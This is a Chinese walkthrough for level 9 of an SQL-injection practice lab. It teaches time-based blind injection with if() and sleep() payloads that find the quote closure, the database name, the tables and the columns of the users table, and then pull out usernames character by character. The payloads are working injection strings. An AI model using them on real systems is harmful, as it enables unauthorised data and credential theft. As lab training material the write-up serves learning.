SQL靶场第九关攻略

我们的第九关需要用到时间盲注

使用条件:完全没有变化的页面

我们在了解一下时间盲注和布尔盲注的区别,时间盲注比布尔盲注多了一个if判断加上sleep()函数的运用

if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;

sleep()函数 网页延迟n秒后,输出结果

一.判断类型

我们输入

?id=1'

?id=1"

页面完全没反应,我们考虑时间盲注

二.判断闭合点

输入?id=1' and sleep(3)--+

输入?id=1' andif(1=2,1,sleep(3))--+,说明我们的闭合点为单引号

三.判断数据库长度

输入?id=1'and if(length(database())>7,sleep(3),1)--+

输入?id=1'and if(length(database())>8,sleep(3),1)--+,说明数据库长度为8位

四.判断数据库名称

输入?id=1' and if((substr(database(),1,1)='a'),sleep(3),0)--+无延时

输入?id=1' and if((substr(database(),1,1)='s'),sleep(3),0)--+有延时,说明s是我们数据库第一个字母

后面以此类推,得出了数据库名为security

五.判断表个数

输入?id=1'and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1)--+有延时,说明存在四个表

六.判断表的长度

第一张表的长度:

输入?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),0)--+有延时,说明第一张表的长度为6

第四张表的长度:

?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(3),0)--+有延时说明第四张表的长度为5

七.查询表的名称

这里我们就不依次判断了,users表是五位,所以直接查第四张表

输入?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u',sleep(3),0)--+有延时,说明我们第四张表的第一位字母是u

以此类推,我们查到最后,第四张表的名称是users

八.查询字段数

输入?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(3),1)--+有延时,说明users表存在三个字段

九.查询字段名

1.判断字段名长度

输入?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(3),0)--+有延时,说明users表的第一个字段名的长度为2

我们在查第二,三个字段名长度都是8

2.判读字段名

输入?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep (3),0)--+有延时,说明我们users表第一个字段的第一个字母是i

以此类推我们可以得到三个字段分别为id,username,password

十.查询数据

输入?id=1'and if(substr((select username from users limit 0,1),1,1)='d',sleep(3),1)--+有延时,说明我们username列中的第一个字段的字母为d

以此类推我们就会把所有的数据查出来

以上就是sql靶场第九关的通关攻略

相关推荐
LUCIAZZZ1 小时前
简单的SQL语句的快速复习
java·数据库·sql
Elastic 中国社区官方博客3 小时前
使用真实 Elasticsearch 进行高级集成测试
大数据·数据库·elasticsearch·搜索引擎·全文检索·jenkins·集成测试
@_@哆啦A梦3 小时前
Redis 基础命令
java·数据库·redis
fajianchen3 小时前
MySQL 索引存储结构
数据库·mysql
一张假钞3 小时前
Spark SQL读写Hive Table部署
hive·sql·spark
想做富婆3 小时前
oracle: 多表查询之联合查询[交集intersect, 并集union,差集minus]
数据库·oracle·联合查询
xianwu5435 小时前
反向代理模块jmh
开发语言·网络·数据库·c++·mysql
Leven1995275 小时前
Flink (十三) :Table API 与 DataStream API 的转换 (一)
数据库·sql·flink
geovindu5 小时前
neo4j-community-5.26.0 create new database
数据库·mysql·neo4j
因特麦克斯6 小时前
索引的底层数据结构、B+树的结构、为什么InnoDB使用B+树而不是B树呢
数据库